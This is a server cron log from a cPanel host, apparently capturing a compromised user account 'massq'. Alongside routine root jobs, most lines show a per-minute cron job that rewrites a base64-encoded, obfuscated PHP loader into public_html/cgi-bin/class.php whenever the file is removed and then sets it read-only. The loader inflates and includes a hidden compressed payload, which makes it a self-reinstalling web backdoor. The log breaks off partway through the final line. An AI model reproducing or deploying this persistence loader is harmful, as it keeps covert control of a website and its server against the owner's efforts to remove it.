Apr  6 06:50:01 server CROND[25340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:51:01 server CROND[25539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:52:01 server CROND[25595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:53:01 server CROND[25663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:54:01 server CROND[25731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:55:01 server CROND[25792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:55:01 server CROND[25793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:55:01 server CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:56:01 server CROND[25895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:57:01 server CROND[26054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:57:01 server CROND[26055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 06:58:01 server CROND[26127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:59:01 server CROND[26210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:00:01 server CROND[26269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:00:01 server CROND[26270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:00:01 server CROND[26271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:00:01 server CROND[26272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:01:01 server CROND[26383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:01:01 server CROND[26384]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 07:01:01 server run-parts(/etc/cron.hourly)[26384]: starting 0anacron
Apr  6 07:01:01 server run-parts(/etc/cron.hourly)[26396]: finished 0anacron
Apr  6 07:02:01 server CROND[26545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:03:01 server CROND[26606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBd